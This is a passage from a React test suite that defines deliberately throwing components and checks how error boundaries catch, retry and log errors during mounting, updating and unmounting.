<div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log('BrokenComponentWillUnmount componentWillMount');\n      }\n      componentDidMount() {\n        Scheduler.log('BrokenComponentWillUnmount componentDidMount');\n      }\n      UNSAFE_componentWillReceiveProps() {\n        Scheduler.log('BrokenComponentWillUnmount componentWillReceiveProps');\n      }\n      UNSAFE_componentWillUpdate() {\n        Scheduler.log('BrokenComponentWillUnmount componentWillUpdate');\n      }\n      componentDidUpdate() {\n        Scheduler.log('BrokenComponentWillUnmount componentDidUpdate');\n      }\n      componentWillUnmount() {\n        Scheduler.log('BrokenComponentWillUnmount componentWillUnmount [!]');\n        throw new Error(this.props.errorText);\n      }\n    };\n\n    BrokenComponentWillMountErrorBoundary = class extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {error: null};\n        Scheduler.log('BrokenComponentWillMountErrorBoundary constructor');\n      }\n      render() {\n        if (this.state.error) {\n          Scheduler.log('BrokenComponentWillMountErrorBoundary render error');\n          return <div>Caught an error: {this.state.error.message}.</div>;\n        }\n        Scheduler.log('BrokenComponentWillMountErrorBoundary render success');\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log(\n          'BrokenComponentWillMountErrorBoundary componentWillMount [!]',\n        );\n        throw new Error('Hello');\n      }\n      componentDidMount() {\n        Scheduler.log(\n          'BrokenComponentWillMountErrorBoundary componentDidMount',\n        );\n      }\n      componentWillUnmount() {\n        Scheduler.log(\n          'BrokenComponentWillMountErrorBoundary componentWillUnmount',\n        );\n      }\n      static getDerivedStateFromError(error) {\n        Scheduler.log(\n          'BrokenComponentWillMountErrorBoundary static getDerivedStateFromError',\n        );\n        return {error};\n      }\n    };\n\n    BrokenComponentDidMountErrorBoundary = class extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {error: null};\n        Scheduler.log('BrokenComponentDidMountErrorBoundary constructor');\n      }\n      render() {\n        if (this.state.error) {\n          Scheduler.log('BrokenComponentDidMountErrorBoundary render error');\n          return <div>Caught an error: {this.state.error.message}.</div>;\n        }\n        Scheduler.log('BrokenComponentDidMountErrorBoundary render success');\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log(\n          'BrokenComponentDidMountErrorBoundary componentWillMount',\n        );\n      }\n      componentDidMount() {\n        Scheduler.log(\n          'BrokenComponentDidMountErrorBoundary componentDidMount [!]',\n        );\n        throw new Error('Hello');\n      }\n      componentWillUnmount() {\n        Scheduler.log(\n          'BrokenComponentDidMountErrorBoundary componentWillUnmount',\n        );\n      }\n      static getDerivedStateFromError(error) {\n        Scheduler.log(\n          'BrokenComponentDidMountErrorBoundary static getDerivedStateFromError',\n        );\n        return {error};\n      }\n    };\n\n    BrokenRenderErrorBoundary = class extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {error: null};\n        Scheduler.log('BrokenRenderErrorBoundary constructor');\n      }\n      render() {\n        if (this.state.error) {\n          Scheduler.log('BrokenRenderErrorBoundary render error [!]');\n          throw new Error('Hello');\n        }\n        Scheduler.log('BrokenRenderErrorBoundary render success');\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log('BrokenRenderErrorBoundary componentWillMount');\n      }\n      componentDidMount() {\n        Scheduler.log('BrokenRenderErrorBoundary componentDidMount');\n      }\n      componentWillUnmount() {\n        Scheduler.log('BrokenRenderErrorBoundary componentWillUnmount');\n      }\n      static getDerivedStateFromError(error) {\n        Scheduler.log(\n          'BrokenRenderErrorBoundary static getDerivedStateFromError',\n        );\n        return {error};\n      }\n    };\n\n    BrokenRender = class extends React.Component {\n      constructor(props) {\n        super(props);\n        Scheduler.log('BrokenRender constructor');\n      }\n      render() {\n        Scheduler.log('BrokenRender render [!]');\n        throw new Error('Hello');\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log('BrokenRender componentWillMount');\n      }\n      componentDidMount() {\n        Scheduler.log('BrokenRender componentDidMount');\n      }\n      UNSAFE_componentWillReceiveProps() {\n        Scheduler.log('BrokenRender componentWillReceiveProps');\n      }\n      UNSAFE_componentWillUpdate() {\n        Scheduler.log('BrokenRender componentWillUpdate');\n      }\n      componentDidUpdate() {\n        Scheduler.log('BrokenRender componentDidUpdate');\n      }\n      componentWillUnmount() {\n        Scheduler.log('BrokenRender componentWillUnmount');\n      }\n    };\n\n    BrokenUseEffect = ({children}) => {\n      Scheduler.log('BrokenUseEffect render');\n\n      React.useEffect(() => {\n        Scheduler.log('BrokenUseEffect useEffect [!]');\n        throw new Error('Hello');\n      });\n\n      return children;\n    };\n\n    BrokenUseLayoutEffect = ({children}) => {\n      Scheduler.log('BrokenUseLayoutEffect render');\n\n      React.useLayoutEffect(() => {\n        Scheduler.log('BrokenUseLayoutEffect useLayoutEffect [!]');\n        throw new Error('Hello');\n      });\n\n      return children;\n    };\n\n    NoopErrorBoundary = class extends React.Component {\n      constructor(props) {\n        super(props);\n        Scheduler.log('NoopErrorBoundary constructor');\n      }\n      render() {\n        Scheduler.log('NoopErrorBoundary render');\n        return <BrokenRender />;\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log('NoopErrorBoundary componentWillMount');\n      }\n      componentDidMount() {\n        Scheduler.log('NoopErrorBoundary componentDidMount');\n      }\n      componentWillUnmount() {\n        Scheduler.log('NoopErrorBoundary componentWillUnmount');\n      }\n      static getDerivedStateFromError() {\n        Scheduler.log('NoopErrorBoundary static getDerivedStateFromError');\n      }\n    };\n\n    Normal = class extends React.Component {\n      static defaultProps = {\n        logName: 'Normal',\n      };\n      constructor(props) {\n        super(props);\n        Scheduler.log(`${this.props.logName} constructor`);\n      }\n      render() {\n        Scheduler.log(`${this.props.logName} render`);\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log(`${this.props.logName} componentWillMount`);\n      }\n      componentDidMount() {\n        Scheduler.log(`${this.props.logName} componentDidMount`);\n      }\n      UNSAFE_componentWillReceiveProps() {\n        Scheduler.log(`${this.props.logName} componentWillReceiveProps`);\n      }\n      UNSAFE_componentWillUpdate() {\n        Scheduler.log(`${this.props.logName} componentWillUpdate`);\n      }\n      componentDidUpdate() {\n        Scheduler.log(`${this.props.logName} componentDidUpdate`);\n      }\n      componentWillUnmount() {\n        Scheduler.log(`${this.props.logName} componentWillUnmount`);\n      }\n    };\n\n    ErrorBoundary = class extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {error: null};\n        Scheduler.log(`${this.props.logName} constructor`);\n      }\n      render() {\n        if (this.state.error && !this.props.forceRetry) {\n          Scheduler.log(`${this.props.logName} render error`);\n          return this.props.renderError(this.state.error, this.props);\n        }\n        Scheduler.log(`${this.props.logName} render success`);\n        return <div>{this.props.children}</div>;\n      }\n      static getDerivedStateFromError(error) {\n        Scheduler.log('ErrorBoundary static getDerivedStateFromError');\n        return {error};\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log(`${this.props.logName} componentWillMount`);\n      }\n      componentDidMount() {\n        Scheduler.log(`${this.props.logName} componentDidMount`);\n      }\n      UNSAFE_componentWillReceiveProps() {\n        Scheduler.log(`${this.props.logName} componentWillReceiveProps`);\n      }\n      UNSAFE_componentWillUpdate() {\n        Scheduler.log(`${this.props.logName} componentWillUpdate`);\n      }\n      componentDidUpdate() {\n        Scheduler.log(`${this.props.logName} componentDidUpdate`);\n      }\n      componentWillUnmount() {\n        Scheduler.log(`${this.props.logName} componentWillUnmount`);\n      }\n    };\n    ErrorBoundary.defaultProps = {\n      logName: 'ErrorBoundary',\n      renderError(error, props) {\n        return (\n          <div ref={props.errorMessageRef}>\n            Caught an error: {error.message}.\n          </div>\n        );\n      },\n    };\n\n    RetryErrorBoundary = class extends React.Component {\n      constructor(props) {\n        super(props);\n        Scheduler.log('RetryErrorBoundary constructor');\n      }\n      render() {\n        Scheduler.log('RetryErrorBoundary render');\n        return <BrokenRender />;\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log('RetryErrorBoundary componentWillMount');\n      }\n      componentDidMount() {\n        Scheduler.log('RetryErrorBoundary componentDidMount');\n      }\n      componentWillUnmount() {\n        Scheduler.log('RetryErrorBoundary componentWillUnmount');\n      }\n      static getDerivedStateFromError(error) {\n        Scheduler.log('RetryErrorBoundary static getDerivedStateFromError [!]');\n        // In Fiber, calling setState() (and failing) is treated as a rethrow.\n        return {};\n      }\n    };\n\n    ErrorMessage = class extends React.Component {\n      constructor(props) {\n        super(props);\n        Scheduler.log('ErrorMessage constructor');\n      }\n      UNSAFE_componentWillMount() {\n        Scheduler.log('ErrorMessage componentWillMount');\n      }\n      componentDidMount() {\n        Scheduler.log('ErrorMessage componentDidMount');\n      }\n      componentWillUnmount() {\n        Scheduler.log('ErrorMessage componentWillUnmount');\n      }\n      render() {\n        Scheduler.log('ErrorMessage render');\n        return <div>Caught an error: {this.props.message}.</div>;\n      }\n    };\n  });\n\n  it('does not swallow exceptions on mounting without boundaries', async () => {\n    let container = document.createElement('div');\n    let root = ReactDOMClient.createRoot(container);\n    await expect(async () => {\n      await act(async () => {\n        root.render(<BrokenRender />);\n      });\n    }).rejects.toThrow('Hello');\n\n    Scheduler.unstable_clearLog();\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    await expect(async () => {\n      await act(async () => {\n        root.render(<BrokenComponentWillMount />);\n      });\n    }).rejects.toThrow('Hello');\n\n    Scheduler.unstable_clearLog();\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    await expect(async () => {\n      await act(async () => {\n        root.render(<BrokenComponentDidMount />);\n      });\n    }).rejects.toThrow('Hello');\n  });\n\n  it('does not swallow exceptions on updating without boundaries', async () => {\n    let container = document.createElement('div');\n    let root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<BrokenComponentWillUpdate />);\n    });\n    Scheduler.unstable_clearLog();\n    await expect(async () => {\n      await act(async () => {\n        root.render(<BrokenComponentWillUpdate />);\n      });\n    }).rejects.toThrow('Hello');\n\n    Scheduler.unstable_clearLog();\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<BrokenComponentWillReceiveProps />);\n    });\n    Scheduler.unstable_clearLog();\n    await expect(async () => {\n      await act(async () => {\n        root.render(<BrokenComponentWillReceiveProps />);\n      });\n    }).rejects.toThrow('Hello');\n    Scheduler.unstable_clearLog();\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<BrokenComponentDidUpdate />);\n    });\n    Scheduler.unstable_clearLog();\n    await expect(async () => {\n      await act(async () => {\n        root.render(<BrokenComponentDidUpdate />);\n      });\n    }).rejects.toThrow('Hello');\n  });\n\n  it('does not swallow exceptions on unmounting without boundaries', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<BrokenComponentWillUnmount />);\n    });\n    Scheduler.unstable_clearLog();\n    await expect(async () => {\n      await act(() => root.unmount());\n    }).rejects.toThrow('Hello');\n  });\n\n  it('prevents errors from leaking into other roots', async () => {\n    const container1 = document.createElement('div');\n    const root1 = ReactDOMClient.createRoot(container1);\n    const container2 = document.createElement('div');\n    const root2 = ReactDOMClient.createRoot(container2);\n    const container3 = document.createElement('div');\n    const root3 = ReactDOMClient.createRoot(container3);\n\n    await act(async () => {\n      root1.render(<span>Before 1</span>);\n    });\n    await expect(async () => {\n      await act(async () => {\n        root2.render(<BrokenRender />);\n      });\n    }).rejects.toThrow('Hello');\n\n    assertLog([\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n    ]);\n    await act(async () => {\n      root3.render(\n        <ErrorBoundary>\n          <BrokenRender />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container1.firstChild.textContent).toBe('Before 1');\n    expect(container2.firstChild).toBe(null);\n    expect(container3.firstChild.textContent).toBe('Caught an error: Hello.');\n\n    Scheduler.unstable_clearLog();\n    await act(async () => {\n      root1.render(<span>After 1</span>);\n    });\n    Scheduler.unstable_clearLog();\n    await act(async () => {\n      root2.render(<span>After 2</span>);\n    });\n    Scheduler.unstable_clearLog();\n    await act(async () => {\n      root3.render(<ErrorBoundary forceRetry={true}>After 3</ErrorBoundary>);\n    });\n    expect(container1.firstChild.textContent).toBe('After 1');\n    expect(container2.firstChild.textContent).toBe('After 2');\n    expect(container3.firstChild.textContent).toBe('After 3');\n    root1.unmount();\n    root2.unmount();\n    root3.unmount();\n    expect(container1.firstChild).toBe(null);\n    expect(container2.firstChild).toBe(null);\n    expect(container3.firstChild).toBe(null);\n  });\n\n  it('logs a single error when using error boundary', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    spyOnDev(console, 'error');\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <BrokenRender />\n        </ErrorBoundary>,\n      );\n    });\n    if (__DEV__) {\n      expect(console.error).toHaveBeenCalledTimes(1);\n      expect(console.error.mock.calls[0][2]).toContain(\n        'The above error occurred in the <BrokenRender> component',\n      );\n    }\n\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n    assertLog([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // Catch and render an error message\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      // logs for error retry\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidMount',\n    ]);\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('renders an error state if child throws in render', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <BrokenRender />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n    assertLog([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // Catch and render an error message\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      // logs for error retry\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidMount',\n    ]);\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('renders an error state if child throws in constructor', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <BrokenConstructor />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n    assertLog([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenConstructor constructor [!]',\n      // Catch and render an error message\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      // logs for error retry\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenConstructor constructor [!]',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidMount',\n    ]);\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('renders an error state if child throws in componentWillMount', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <BrokenComponentWillMount />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n    assertLog([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenComponentWillMount constructor',\n      'BrokenComponentWillMount componentWillMount [!]',\n      // Catch and render an error message\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      // logs for error retry\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenComponentWillMount constructor',\n      'BrokenComponentWillMount componentWillMount [!]',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidMount',\n    ]);\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyContext || !__DEV__\n  it('renders an error state if context provider throws in componentWillMount', async () => {\n    class BrokenComponentWillMountWithContext extends React.Component {\n      static childContextTypes = {foo: PropTypes.number};\n      getChildContext() {\n        return {foo: 42};\n      }\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        throw new Error('Hello');\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <BrokenComponentWillMountWithContext />\n        </ErrorBoundary>,\n      );\n    });\n    assertConsoleErrorDev([\n      'BrokenComponentWillMountWithContext uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in BrokenComponentWillMountWithContext (at **)',\n    ]);\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n  });\n\n  it('mounts the error message if mounting fails', async () => {\n    function renderError(error) {\n      return <ErrorMessage message={error.message} />;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary renderError={renderError}>\n          <BrokenRender />\n        </ErrorBoundary>,\n      );\n    });\n    assertLog([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      'ErrorMessage constructor',\n      'ErrorMessage componentWillMount',\n      'ErrorMessage render',\n      // logs for error retry\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      'ErrorMessage constructor',\n      'ErrorMessage componentWillMount',\n      'ErrorMessage render',\n      'ErrorMessage componentDidMount',\n      'ErrorBoundary componentDidMount',\n    ]);\n\n    root.unmount();\n    assertLog([\n      'ErrorBoundary componentWillUnmount',\n      'ErrorMessage componentWillUnmount',\n    ]);\n  });\n\n  it('propagates errors on retry on mounting', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <RetryErrorBoundary>\n            <BrokenRender />\n          </RetryErrorBoundary>\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n    assertLog([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'RetryErrorBoundary constructor',\n      'RetryErrorBoundary componentWillMount',\n      'RetryErrorBoundary render',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // Retry\n      'RetryErrorBoundary static getDerivedStateFromError [!]',\n      'RetryErrorBoundary componentWillMount',\n      'RetryErrorBoundary render',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // This time, the error propagates to the higher boundary\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      // logs for error retry\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'RetryErrorBoundary constructor',\n      'RetryErrorBoundary componentWillMount',\n      'RetryErrorBoundary render',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      'RetryErrorBoundary static getDerivedStateFromError [!]',\n      'RetryErrorBoundary componentWillMount',\n      'RetryErrorBoundary render',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidMount',\n    ]);\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('propagates errors inside boundary during componentWillMount', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <BrokenComponentWillMountErrorBoundary />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n    assertLog([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenComponentWillMountErrorBoundary constructor',\n      'BrokenComponentWillMountErrorBoundary componentWillMount [!]',\n      // The error propagates to the higher boundary\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      // logs for error retry\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenComponentWillMountErrorBoundary constructor',\n      'BrokenComponentWillMountErrorBoundary componentWillMount [!]',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidMount',\n    ]);\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('propagates errors inside boundary while rendering error state', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <BrokenRenderErrorBoundary>\n            <BrokenRender />\n          </BrokenRenderErrorBoundary>\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n    assertLog([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenRenderErrorBoundary constructor',\n      'BrokenRenderErrorBoundary componentWillMount',\n      'BrokenRenderErrorBoundary render success',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // Attempt to handle the error\n      'BrokenRenderErrorBoundary static getDerivedStateFromError',\n      'BrokenRenderErrorBoundary componentWillMount',\n      'BrokenRenderErrorBoundary render error [!]',\n      // Attempt to handle the error again\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      // logs for error retry\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenRenderErrorBoundary constructor',\n      'BrokenRenderErrorBoundary componentWillMount',\n      'BrokenRenderErrorBoundary render success',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      'BrokenRenderErrorBoundary static getDerivedStateFromError',\n      'BrokenRenderErrorBoundary componentWillMount',\n      'BrokenRenderErrorBoundary render error [!]',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidMount',\n    ]);\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('does not call componentWillUnmount when aborting initial mount', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <Normal />\n          <BrokenRender />\n          <Normal />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n    assertLog([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      // Render first child\n      'Normal constructor',\n      'Normal componentWillMount',\n      'Normal render',\n      // Render second child (it throws)\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // Skip the remaining siblings\n      // Handle the error\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      // logs for error retry\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'Normal constructor',\n      'Normal componentWillMount',\n      'Normal render',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidMount',\n    ]);\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('resets callback refs if mounting aborts', async () => {\n    function childRef(x) {\n      Scheduler.log('Child ref is set to ' + x);\n    }\n    function errorMessageRef(x) {\n      Scheduler.log('Error message ref is set to ' + x);\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary errorMessageRef={errorMessageRef}>\n          <div ref={childRef} />\n          <BrokenRender />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    assertLog([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // Handle the error\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      // logs for error retry\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      'Error message ref is set to [object HTMLDivElement]',\n      'ErrorBoundary componentDidMount',\n    ]);\n\n    root.unmount();\n    assertLog([\n      'ErrorBoundary componentWillUnmount',\n      'Error message ref is set to null',\n    ]);\n  });\n\n  it('resets object refs if mounting aborts', async () => {\n    const childRef = React.createRef();\n    const errorMessageRef = React.createRef();\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary errorMessageRef={errorMessageRef}>\n          <div ref={childRef} />\n          <BrokenRender />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    assertLog([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // Handle the error\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      // logs for error retry\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      'ErrorBoundary static getDerivedStateFromError',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidMount',\n    ]);\n    expect(errorMessageRef.current.toString()).toEqual(\n      '[object HTMLDivElement]',\n    );\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n    expect(errorMessageRef.current).toEqual(null);\n  });\n\n  it('successfully mounts if no error occurs', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <div>Mounted successfully.</div>\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.firstChild.textContent).toBe('Mounted successfully.');\n    assertLog([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'ErrorBoundary componentDidMount',\n    ]);\n\n    root.unmount();\n    assertLog(['ErrorBoundary componentWillUnmount']);\n  });\n\n  it('catches if child throws in constructor during update', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <Normal />\n        </ErrorBoundary>,\n      );\n    });\n    Scheduler.unstable_clearLog();\n    await act(async () => {\n      root.render(\n        <ErrorBoundary>\n          <Normal />\n          <Normal logName=\"Normal2\" />\n          <BrokenConstructor />\n        </ErrorBoundary>,\n      );\n    });\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    assertLog([\n      'ErrorBoundary 